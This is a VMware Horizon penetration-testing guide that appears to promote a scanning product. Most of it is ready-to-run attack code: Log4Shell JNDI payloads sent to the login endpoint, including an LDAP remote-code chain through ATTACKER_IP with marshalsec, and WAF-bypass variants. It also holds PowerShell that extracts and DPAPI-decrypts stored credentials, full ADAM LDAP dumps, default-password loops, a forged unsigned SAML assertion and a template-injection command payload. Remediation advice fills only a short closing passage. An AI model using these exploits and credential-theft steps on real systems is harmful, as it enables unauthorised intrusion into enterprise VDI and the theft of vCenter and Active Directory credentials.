VMware Horizon is one of the most widely deployed enterprise VDI platforms — and one of the most heavily targeted by nation-state actors. The Log4Shell vulnerability (CVE-2021-44228) hit Horizon's Connection Server and Blast Secure Gateway particularly hard: CISA advisory AA22-320A documented Iranian, Chinese, and North Korean threat actors actively exploiting unpatched Horizon deployments months after patches were available. Beyond Log4Shell, Horizon's architecture concentrates substantial credential risk: vdm_server.config holds LDAP bind credentials and database passwords; the Connection Server's ADAM LDAP database stores every virtual desktop assignment and user entitlement in extractable plaintext; and the UAG REST API ships with default admin/admin credentials. This guide covers systematic VMware Horizon security assessment across the full attack surface.
VMware Horizon's Connection Server and Blast Secure Gateway ran Log4j 2.x throughout their Java backend, making them trivially exploitable through the login username field. CISA advisory AA22-320A (November 2022) documented that nation-state actors exploited this against unpatched Horizon instances as early as December 2021 — and found Horizon deployments still vulnerable well into 2022. The Horizon login endpoint passes the submitted username directly into Log4j-instrumented authentication code, creating an unauthenticated pre-auth RCE surface accessible from any network that can reach the login page.
Reconnaissance should begin with confirming the Horizon version before attempting exploitation — the admin console and various HTTP headers often expose version strings. Log4Shell impact varies: versions 8.x before 8.4 and 7.x before 7.13.1 are fully vulnerable; some later builds received partial mitigations without full patches.
# VMware Horizon — reconnaissance and version fingerprinting
HORIZON_HOST="horizon.example.com"
# Initial port scan — Connection Server (443, 8443), Blast Gateway (8443, 443), PCoIP (4172)
nmap -sV -p 443,8443,4172,8472 --script ssl-cert,http-title "${HORIZON_HOST}"
# Identify Horizon version from the admin console banner
curl -sk "https://${HORIZON_HOST}/admin/" | grep -iE "version|build|horizon" | head -5
# Connection Server HTTP headers often expose Horizon build info
curl -sI "https://${HORIZON_HOST}/portal/" | grep -iE "server|x-powered|x-horizon|vmware"
# Check for the Horizon HTML5 client (Blast) — confirms Blast Secure Gateway is exposed
curl -sk "https://${HORIZON_HOST}/portal/webclient/index.html" | grep -iE "version|build" | head -5
# Confirm Log4j presence — check for JNDI lookup class in static resources (older builds)
curl -sk "https://${HORIZON_HOST}/portal/webclient/" | grep -iE "log4j|jndi" | head -3
# Check if the Connection Server broker API is exposed (pre-auth endpoint)
curl -sk "https://${HORIZON_HOST}/broker/xml" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><broker version="10.0"><get-configuration/></broker>' | head -30
The core Log4Shell test sends a JNDI lookup payload in the username field of the Horizon authentication POST request. The Connection Server logs the username before evaluating credentials, triggering the JNDI lookup. A successful callback to your LDAP listener (e.g., running marshalsec or Burp Collaborator) confirms the vulnerability. Use DNS-based detection first to avoid triggering defensive responses from LDAP-based exploitation chains.
# Log4Shell (CVE-2021-44228) — JNDI injection via Horizon login username field
# Set up a DNS/LDAP callback receiver first (e.g., interactsh, Burp Collaborator, or marshalsec)
CALLBACK_HOST="your-collaborator-id.oastify.com"
HORIZON_HOST="horizon.example.com"
# Basic DNS callback — lowest noise, confirms JNDI lookup is processed
# Payload inserted into the username field of the broker authentication XML
curl -sk "https://${HORIZON_HOST}/broker/xml" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<broker version=\"10.0\">
<authenticate>
<screen>
<name>submit-authentication</name>
<params>
<param>
<name>username</name>
<values>
<value>\${jndi:dns://${CALLBACK_HOST}/horizon-broker-test}</value>
</values>
</param>
<param>
<name>password</name>
<values>
<value>password123</value>
</values>
</param>
</params>
</screen>
</authenticate>
</broker>"
# Alternative — inject via the HTML5 client REST login endpoint (Blast Secure Gateway path)
curl -sk -X POST "https://${HORIZON_HOST}/portal/webclient/auth/saml/processResponse" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=\${jndi:ldap://${CALLBACK_HOST}/horizon-blast-test}&password=test"
# Inject via the standard web client login form (covers additional Log4j instrumentation paths)
curl -sk -X POST "https://${HORIZON_HOST}/portal/webclient/auth/authenticate" \
-H "Content-Type: application/json" \
-d "{\"username\":\"\${jndi:ldap://${CALLBACK_HOST}/webclient-auth}\",\"password\":\"test\",\"domain\":\"CORP\"}"
# LDAP-based RCE chain — marshalsec redirects LDAP lookup to malicious class server
# Start marshalsec LDAP redirector (on attacker machine):
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER_IP:8888/#Exploit"
# Serve malicious Java class:
# python3 -m http.server 8888 (with Exploit.class in directory)
# Full JNDI LDAP RCE payload targeting Connection Server:
ATTACKER_IP="192.168.1.100"
MARSHALSEC_PORT="1389"
curl -sk "https://${HORIZON_HOST}/broker/xml" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<broker version=\"10.0\">
<authenticate>
<screen>
<name>submit-authentication</name>
<params>
<param><name>username</name>
<values><value>\${jndi:ldap://${ATTACKER_IP}:${MARSHALSEC_PORT}/Exploit}</value></values>
</param>
<param><name>password</name>
<values><value>anything</value></values>
</param>
</params>
</screen>
</authenticate>
</broker>"
# Test all Log4j bypass variants — WAFs may block the base payload
# Nested lookup bypass:
PAYLOAD_NESTED="\${j\${lower:n}di:ldap://${CALLBACK_HOST}/nested}"
# Unicode bypass:
PAYLOAD_UNICODE="\${j\${::-n}di:ldap://${CALLBACK_HOST}/unicode}"
# Upper-case bypass:
PAYLOAD_UPPER="\${JnDi:ldap://${CALLBACK_HOST}/upper}"
for PAYLOAD in "${PAYLOAD_NESTED}" "${PAYLOAD_UNICODE}" "${PAYLOAD_UPPER}"; do
curl -sk "https://${HORIZON_HOST}/broker/xml" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><broker version=\"10.0\"><authenticate><screen><name>submit-authentication</name><params><param><name>username</name><values><value>${PAYLOAD}</value></values></param><param><name>password</name><values><value>test</value></values></param></params></screen></authenticate></broker>" &
done; wait
# PowerShell — test from a Windows jump host inside the perimeter
$HorizonHost = "horizon.example.com"
$CallbackHost = "your-collaborator-id.oastify.com"
$Body = @"
<?xml version="1.0"?>
<broker version="10.0">
<authenticate><screen><name>submit-authentication</name>
<params>
<param><name>username</name><values><value>`$`{jndi:dns://$CallbackHost/ps-test}</value></values></param>
<param><name>password</name><values><value>test</value></values></param>
</params>
</screen></authenticate>
</broker>
"@
Invoke-WebRequest -Uri "https://$HorizonHost/broker/xml" `
-Method POST -ContentType "text/xml" -Body $Body -SkipCertificateCheck
Post-exploitation from a Log4Shell foothold on the Connection Server gives direct access to the Horizon configuration files and the ADAM LDAP database. The Connection Server runs as SYSTEM on Windows, so no privilege escalation is needed — the first command after shell access should enumerate the Horizon installation directory for vdm_server.config and credential stores.
# Post-exploitation — credential extraction after Log4Shell RCE on Connection Server (Windows)
# Connection Server typically runs as SYSTEM on Windows Server
# Locate the Horizon installation and configuration directories
$HorizonInstall = "C:\Program Files\VMware\VMware View\Server"
$HorizonData = "C:\ProgramData\VMware\VDM"
# vdm_server.config — contains LDAP bind credentials, database passwords, encryption keys
# This is the primary credential file for the Connection Server
Get-Content "$HorizonData\config\vdm_server.config" 2>$null | Select-String -Pattern "password|ldap|bind|secret|key|db" -CaseSensitive:$false
# Horizon stores LDAP bind credentials encrypted with DPAPI — decrypt on the same host
Add-Type -AssemblyName System.Security
$encryptedValue = [System.IO.File]::ReadAllBytes("$HorizonData\config\keys.properties")
[System.Security.Cryptography.ProtectedData]::Unprotect($encryptedValue, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
# Extract all Horizon service account credentials from Windows Credential Manager
cmdkey /list | Select-String "horizon|vmware|vdi|ldap|ad-"
# Dump specific credential:
$cred = Get-StoredCredential -Target "horizon-ldap-bind"
# Check the Horizon Composer database connection string (MSSQL)
# Composer stores vCenter linked-clone credentials in its database
Get-ItemProperty "HKLM:\SOFTWARE\VMware, Inc.\VMware View Composer" |
Select-Object -Property *db*, *sql*, *connect*
# Windows registry — Horizon stores several credentials here
Get-ChildItem "HKLM:\SOFTWARE\VMware, Inc.\VMware View" -Recurse 2>$null |
Get-ItemProperty | Select-Object -Property *password*, *secret*, *key*, *credential* 2>$null |
Where-Object { $_ -match "\S" }
# Check for cleartext credentials in Horizon log files (Connection Server logs username attempts)
Select-String -Path "C:\ProgramData\VMware\VDM\logs\*.log" -Pattern "username|bind|password|ldap" |
Select-Object -First 30
The Horizon Connection Server uses Microsoft's Active Directory Application Mode (ADAM/AD LDS) as its internal configuration database — a lightweight LDAP directory running on the Connection Server itself (default port 389/636). This ADAM instance stores the complete VDI configuration: every virtual desktop pool, every user-to-desktop entitlement, every farm and RDS configuration, all Horizon global settings, and the service account credentials used by Horizon to communicate with vCenter and Active Directory. An attacker who can reach port 389 on the Connection Server — from inside the network or after a Log4Shell foothold — can extract the entire VDI deployment topology.
# Connection Server — ADAM/LDAP database enumeration
HORIZON_CS="192.168.10.50" # Connection Server IP
ADAM_PORT="389" # LDAP (use 636 for LDAPS)
# ADAM base DN — standard Horizon internal namespace
ADAM_BASE="dc=vdi,dc=vmware,dc=int"
# Anonymous bind test — ADAM may allow unauthenticated reads in some configurations
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "${ADAM_BASE}" \
-s base "objectClass=*" 2>/dev/null | head -20
# Enumerate the full ADAM directory structure (with anonymous or known credentials)
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "${ADAM_BASE}" \
"(objectClass=*)" dn | head -60
# Extract all desktop pools (EntitlementGroup — maps users to desktop pools)
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "cn=ServerGroups,dc=vdi,dc=vmware,dc=int" \
"(objectClass=pae-ServerPool)" \
pae-DisplayName pae-MemberDN pae-ServerPoolType | grep -E "^pae-|^dn:"
# Extract all user entitlements — who is entitled to which desktop pool
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "cn=EntitlementGroups,dc=vdi,dc=vmware,dc=int" \
"(objectClass=pae-EVMEntitlementGroup)" \
pae-DisplayName pae-MemberDN pae-PoolID cn | grep -E "^pae-|^dn:|^cn:"
# Extract the full Horizon global configuration (includes vCenter connection settings)
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "cn=Global,dc=vdi,dc=vmware,dc=int" \
"(objectClass=pae-Configuration)" | grep -vE "^#|^$"
# Extract vCenter Server connection configuration — hostname and service account
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "cn=VirtualCenter,dc=vdi,dc=vmware,dc=int" \
"(objectClass=pae-VC)" \
pae-SVIVCAddress pae-SVIVCUsername pae-SVIVCPassword | grep -E "^pae-|^dn:"
# pae-SVIVCPassword is DPAPI-encrypted on the Connection Server — requires decryption on-host
# Enumerate AD domain join service account stored in Horizon
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-b "cn=DomainAdmins,dc=vdi,dc=vmware,dc=int" \
"(objectClass=pae-ADDomainAdmin)" \
pae-ADDomainAdminUsername pae-ADDomainAdminPassword pae-ADDomainName | grep -E "^pae-|^dn:"
# If credentials are available (e.g., after extracting ADAM bind creds from vdm_server.config)
ADAM_BINDDN="cn=Administrator,cn=Administrators,cn=Roles,dc=vdi,dc=vmware,dc=int"
ADAM_PASS="extracted-password"
# Authenticated LDAP dump of the entire ADAM database
ldapsearch -x -H "ldap://${HORIZON_CS}:${ADAM_PORT}" \
-D "${ADAM_BINDDN}" -w "${ADAM_PASS}" \
-b "${ADAM_BASE}" \
"(objectClass=*)" \
-E pr=1000/noprompt 2>/dev/null | tee horizon_adam_full_dump.ldif
# PowerShell — enumerate ADAM from a Windows host on the same network
Import-Module ActiveDirectory
$AdamServer = "192.168.10.50:389"
# Get all desktop pools
Get-ADObject -Server $AdamServer -SearchBase "cn=ServerGroups,dc=vdi,dc=vmware,dc=int" `
-Filter "(objectClass -eq 'pae-ServerPool')" -Properties * |
Select-Object Name, pae-DisplayName, pae-ServerPoolType
# Admin console default credentials test
# Horizon admin console runs on Connection Server at /admin/
ADMIN_CREDS=("admin:admin" "Administrator:admin" "viewadmin:admin" "admin:vmware")
for CRED in "${ADMIN_CREDS[@]}"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://${HORIZON_CS}/admin/index.html" \
--data "username=${USER}&password=${PASS}&domain=&authType=BuiltinDirType" \
-c /tmp/horizon_cookies.txt)
echo "${CRED}: HTTP ${HTTP_CODE}"
done
# JMX debug port — localhost:18443 on the Connection Server
# Often accessible from the local machine or misconfigured firewall
# After Log4Shell foothold, connect to the local JMX port
# nmap scan for JMX from inside after foothold:
nmap -sV -p 18443,18444,9090 127.0.0.1 2>/dev/null
# Connect with jconsole or jmxterm:
# java -jar jmxterm.jar
# open 127.0.0.1:18443
# bean com.vmware.vdi:type=AdminService
# run getConfiguration
The Horizon Composer service — used for linked-clone desktop pools — stores its vCenter credentials in a separate MSSQL database. Composer runs as a service on a dedicated Windows server and its database connection string is in the Windows registry. An attacker who compromises the Composer host gains vCenter credentials capable of creating and deleting virtual machines across the entire VDI deployment.
# Horizon Composer — vCenter credential extraction from MSSQL database
# Composer stores vCenter credentials in its SQL Server database
# Locate the Composer database connection string from the Windows registry
$ComposerReg = "HKLM:\SOFTWARE\VMware, Inc.\VMware View Composer"
Get-ItemProperty $ComposerReg | Select-Object *
# Connect to the Composer MSSQL database (typically SQL Server Express on localhost)
$ComposerDB = "SviConfig" # default Composer database name
Invoke-Sqlcmd -ServerInstance "localhost\SQLEXPRESS" -Database $ComposerDB -Query `
"SELECT name, value FROM SVI_Properties WHERE name LIKE '%password%' OR name LIKE '%credential%' OR name LIKE '%vcenter%'"
# Extract the vCenter service account credentials stored in Composer
Invoke-Sqlcmd -ServerInstance "localhost\SQLEXPRESS" -Database $ComposerDB -Query `
"SELECT TOP 20 name, value FROM SVI_Properties ORDER BY name"
# Composer credentials are encrypted with DPAPI — decrypt on the same host
# Get all encrypted values from the database
$query = "SELECT name, value FROM SVI_Properties WHERE name LIKE '%vcenter%' OR name LIKE '%password%'"
$results = Invoke-Sqlcmd -ServerInstance "localhost\SQLEXPRESS" -Database $ComposerDB -Query $query
foreach ($row in $results) {
try {
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
[System.Convert]::FromBase64String($row.value), $null,
[System.Security.Cryptography.DataProtectionScope]::LocalMachine)
Write-Host "$($row.name): $([System.Text.Encoding]::Unicode.GetString($decrypted))"
} catch { Write-Host "$($row.name): [not DPAPI or binary]" }
}
# If Composer MSSQL uses SQL authentication, credentials may be in the connection string
# Check the Composer service binary path for embedded connection strings
Get-WmiObject Win32_Service | Where-Object { $_.Name -like "*composer*" } |
Select-Object Name, PathName, StartName
The Blast Secure Gateway is the HTML5 reverse proxy that routes Blast Extreme display protocol traffic from browser-based clients to virtual desktops. It runs on the Connection Server or as a standalone component and exposes several endpoints on port 443 and 8443. The Unified Access Gateway (UAG) is the recommended external-facing component for Horizon deployments — replacing the deprecated Security Server — and ships a REST API on port 9443 with a known default administrative credential that many deployments leave unchanged.
# Blast Secure Gateway — endpoint enumeration and session testing
BLAST_HOST="horizon-blast.example.com"
# Enumerate Blast Secure Gateway endpoints — several are unauthenticated
# /portal/info.jsp — exposes Horizon version and build information (no auth required)
curl -sk "https://${BLAST_HOST}/portal/info.jsp"
# /broker/info.jsp — Connection Server broker version information
curl -sk "https://${BLAST_HOST}/broker/info.jsp"
# /wp — Blast Secure WebSocket proxy endpoint; check for version headers
curl -sI "https://${BLAST_HOST}/wp/" | head -20
# /health — health check endpoint (may be unauthenticated depending on version)
curl -sk "https://${BLAST_HOST}/health" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Status: {d}')
except:
sys.stdout.write(sys.stdin.read()[:200])
" 2>/dev/null
# Enumerate TLS certificate details — often exposes internal infrastructure hostnames
echo | openssl s_client -connect "${BLAST_HOST}:443" -servername "${BLAST_HOST}" 2>/dev/null |
openssl x509 -noout -subject -subjectAltName -issuer -dates
# Check for Blast WebSocket upgrade (BSGP — Blast Secure Gateway Protocol)
curl -sk -i "https://${BLAST_HOST}/blast/gate" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" | head -15
# Session token extraction attempt — Blast session cookies
# After intercepting a valid Blast session (via MITM or browser proxy):
curl -sk "https://${BLAST_HOST}/blast/gate" \
-H "Cookie: SESSION_TOKEN=captured-session-token; JSESSIONID=captured-jsession" \
-H "X-Blast-Auth: captured-blast-auth-header" | head -20
# UAG (Unified Access Gateway) — REST API security testing
UAG_HOST="uag.example.com"
UAG_ADMIN_PORT="9443" # UAG admin REST API port
# UAG REST API default credentials: admin / admin
# The UAG admin REST API is on port 9443 — often exposed due to network misconfiguration
curl -sk -u "admin:admin" \
"https://${UAG_HOST}:${UAG_ADMIN_PORT}/rest/v1/config/system" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(json.dumps(d, indent=2)[:1000])
except:
sys.stdout.write(sys.stdin.read()[:300])
" 2>/dev/null
# Extract full UAG configuration (includes AD LDAP bind credentials, vCenter settings)
curl -sk -u "admin:admin" \
"https://${UAG_HOST}:${UAG_ADMIN_PORT}/rest/v1/config/edgeservice" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for svc in d.get('edgeServiceSettingsList',[]):
print(f'Service: {svc.get(\"identifier\")} enabled={svc.get(\"enabled\")}')
for k in ['proxyDestinationUrl','hostPattern','authCookieName','trustedCert']:
if k in svc:
print(f' {k}: {str(svc[k])[:100]}')
except:
sys.stdout.write(sys.stdin.read()[:300])
" 2>/dev/null
# Extract UAG LDAP/AD configuration — contains bind credentials
curl -sk -u "admin:admin" \
"https://${UAG_HOST}:${UAG_ADMIN_PORT}/rest/v1/config/idp" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(json.dumps(d, indent=2)[:1500])
except:
sys.stdout.write(sys.stdin.read()[:300])
" 2>/dev/null
# Try common UAG admin password variations
UAG_PASSWORDS=("admin" "VMware1!" "P@ssw0rd" "Admin1234" "vmware123" "Admin@123")
for PASS in "${UAG_PASSWORDS[@]}"; do
HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" -u "admin:${PASS}" \
"https://${UAG_HOST}:${UAG_ADMIN_PORT}/rest/v1/config/system")
echo "admin:${PASS} -> HTTP ${HTTP_CODE}"
done
# SAML assertion bypass — test Horizon IdP SAML configuration
# Horizon supports SAML for third-party IdP integration; misconfigured SAML can allow
# assertion replay, XML signature wrapping, or unsigned assertion acceptance
# Get the Horizon SAML SP metadata (unauthenticated)
curl -sk "https://${BLAST_HOST}/portal/samlsp-metadata.xml" 2>/dev/null | head -40
# Check for signed assertion requirement — if Horizon accepts unsigned assertions
# (SAMLResponse with no ds:Signature on the Assertion element) it is critically misconfigured
python3 - <<'PYEOF'
import requests, base64, urllib.parse, re, sys
horizon_host = "horizon.example.com"
# Craft a minimal SAML assertion with no signature (for testing only)
unsigned_assertion = """<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_test123" Version="2.0" IssueInstant="2026-07-06T00:00:00Z"
Destination="https://{host}/portal/samlsso">
<saml:Issuer>https://your-idp.example.com</saml:Issuer>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
<saml:Assertion ID="_assert123" Version="2.0" IssueInstant="2026-07-06T00:00:00Z">
<saml:Issuer>https://your-idp.example.com</saml:Issuer>
<saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
admin@corp.example.com</saml:NameID></saml:Subject>
<saml:AuthnStatement AuthnInstant="2026-07-06T00:00:00Z">
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>""".format(host=horizon_host)
encoded = base64.b64encode(unsigned_assertion.encode()).decode()
r = requests.post(f"https://{horizon_host}/portal/samlsso",
data={"SAMLResponse": encoded, "RelayState": ""},
verify=False, allow_redirects=False, timeout=10)
print(f"Unsigned SAML assertion response: HTTP {r.status_code}")
print(f"Location: {r.headers.get('Location','(none)')}")
# HTTP 302 to a desktop resource = CRITICAL — unsigned assertions accepted
PYEOF
Horizon's Tunnel Server handles PCoIP and Blast Extreme protocol traffic for clients that cannot reach desktops directly. It listens on port 443 (TCP) and 4172 (UDP/TCP for PCoIP), and is a frequent target for credential relay and session hijacking when network-level controls are weak.
# Tunnel Server and PCoIP gateway testing
TUNNEL_HOST="horizon-tunnel.example.com"
# Scan Tunnel Server ports — 443 (HTTPS/Blast), 8443 (alt HTTPS), 4172 (PCoIP TCP+UDP)
nmap -sU -sT -p T:443,8443,4172,U:4172 "${TUNNEL_HOST}" --open -sV 2>/dev/null
# Check Tunnel Server HTTPS endpoint for version information
curl -sk "https://${TUNNEL_HOST}:443/tunnel" \
-H "Content-Type: application/octet-stream" \
--data-binary "\x00\x00\x00\x00" -v 2>&1 | grep -E "HTTP/|Server:|VMware|Horizon" | head -10
# PCoIP gateway banner grab (TCP 4172)
timeout 5 bash -c "echo -n '' | nc -w 3 ${TUNNEL_HOST} 4172" 2>/dev/null | xxd | head -10
# Check if the Tunnel Server exposes a management interface
curl -sk "https://${TUNNEL_HOST}:8443/admin/" -o /dev/null -w "HTTP %{http_code}\n"
curl -sk "https://${TUNNEL_HOST}:443/tunnel/info.jsp" 2>/dev/null | head -10
# Check for CVE-2022-22954 (VMware Workspace ONE Access SSTI — often co-deployed with Horizon)
# Server-side template injection in the /catalog-portal/ui/oauth/verify endpoint
SSTI_PAYLOAD="deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew()(%22id%22)%7D"
curl -sk "https://${TUNNEL_HOST}/catalog-portal/ui/oauth/verify?${SSTI_PAYLOAD}" | head -20
# CVE-2021-22005 — vCenter file upload (often co-deployed with Horizon environments)
# Unauthenticated file upload to vCenter Server's analytics service
VCENTER_HOST="vcenter.example.com"
curl -sk -X POST "https://${VCENTER_HOST}/analytics/ceip/sp/telemetry" \
-H "Content-Type: image/jpeg" \
--data-binary @/dev/urandom \
-o /dev/null -w "HTTP %{http_code}\n" 2>/dev/null
# HTTP 200 on a vulnerable vCenter confirms CVE-2021-22005 upload endpoint is reachable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true as an environment variable is insufficient on its own because it does not cover all attack vectors in Log4j 2.14 and earlier — only upgrading to Log4j 2.17+ (via the Horizon patches from VMSA-2021-0028) provides full remediation; verify by checking the bundled Log4j JAR version inside the Horizon installation directory (C:\Program Files\VMware\VMware View\Server\lib\); CISA advisory AA22-320A documented that threat actors maintained persistence on Horizon servers through tools like LSASS credential dumping, WMI subscriptions, and web shells placed in the Horizon web directory even after patching — incident response should check for indicators of compromise beyond just patch statusadmin/admin as the default REST API credentials for the management interface on port 9443; this port should never be internet-facing and should be restricted to dedicated management workstations or a jump host; change the admin password during UAG deployment before connecting it to any network; the UAG REST API can extract the complete gateway configuration including SAML SP certificates, Horizon Connection Server addresses, and any custom edge service configurations; audit deployments for port 9443 exposure using external scanning from the internet-facing perspectiveC:\ProgramData\VMware\VDM\config\vdm_server.config) contains LDAP bind credentials and references to other secrets files; while passwords are DPAPI-encrypted, on-host decryption is trivial after any SYSTEM-level compromise; apply the principle of least privilege to the Horizon service accounts — the vCenter service account used by Horizon should have only the minimum vSphere permissions required (defined by VMware's Horizon documentation), not administrator-level vCenter access; use dedicated low-privilege AD service accounts for Horizon domain joins rather than domain admin accounts; rotate all service account credentials if a Connection Server compromise is suspected| Security Test | Method | Risk |
|---|---|---|
| Log4Shell JNDI injection via Horizon login username | POST to /broker/xml with ${jndi:ldap://attacker/} in the username parameter — Connection Server processes the username through Log4j before evaluating AD credentials; pre-auth RCE as SYSTEM on the Connection Server; nation-state actors (CISA AA22-320A) deployed webshells and credential dumpers within hours of gaining access | Critical |
| ADAM LDAP database extraction — all VDI entitlements | ldapsearch -x -H ldap://connection-server:389 -b "dc=vdi,dc=vmware,dc=int" — extracts all desktop pool definitions, user-to-desktop entitlements, vCenter hostnames, and Horizon global configuration; anonymous read may be possible; authenticated dump requires ADAM bind credentials from vdm_server.config | High |
| UAG REST API default admin credentials | curl -u admin:admin https://uag:9443/rest/v1/config/system — extracts full UAG configuration including SAML certificates, Connection Server addresses, edge service proxy rules, and LDAP bind credentials for authentication offload configurations | High |
| vdm_server.config credential extraction | Read C:\ProgramData\VMware\VDM\config\vdm_server.config after SYSTEM foothold — DPAPI-encrypted LDAP bind credentials decryptable on-host; references to Horizon keystore and certificate passwords; pivot to vCenter and Active Directory using extracted service account credentials | High |
| Horizon Composer MSSQL vCenter credential theft | Query SVI_Properties table in MSSQL Composer database — DPAPI-encrypted vCenter credentials for linked-clone pool management; vCenter account typically has VM create/delete/reconfigure permissions across all VDI clusters; full virtual infrastructure compromise from Composer host | High |
| SAML unsigned assertion bypass | POST unsigned SAMLResponse to /portal/samlsso — if Horizon does not enforce assertion signature validation, authenticate as any user including administrators without valid IdP credentials; most impactful in environments using SAML for MFA bypass | High |
| Blast Secure Gateway endpoint information disclosure | GET /portal/info.jsp and /broker/info.jsp — unauthenticated version and build disclosure; enables precise exploit targeting; TLS certificate SAN fields expose internal infrastructure hostnames for further reconnaissance | Medium |
Ironimo scans VMware Horizon deployments for Log4Shell JNDI injection via the login endpoint (CVE-2021-44228), UAG REST API default credential exposure on port 9443, Blast Secure Gateway unauthenticated information disclosure, Connection Server ADAM LDAP unauthenticated read access, exposed vdm_server.config credential files, Horizon admin console default credentials, SAML assertion signature validation bypass, PCoIP and Blast gateway port exposure, Composer MSSQL database reachability, and co-deployed vCenter CVE-2021-22005 file upload exposure.
Start free scan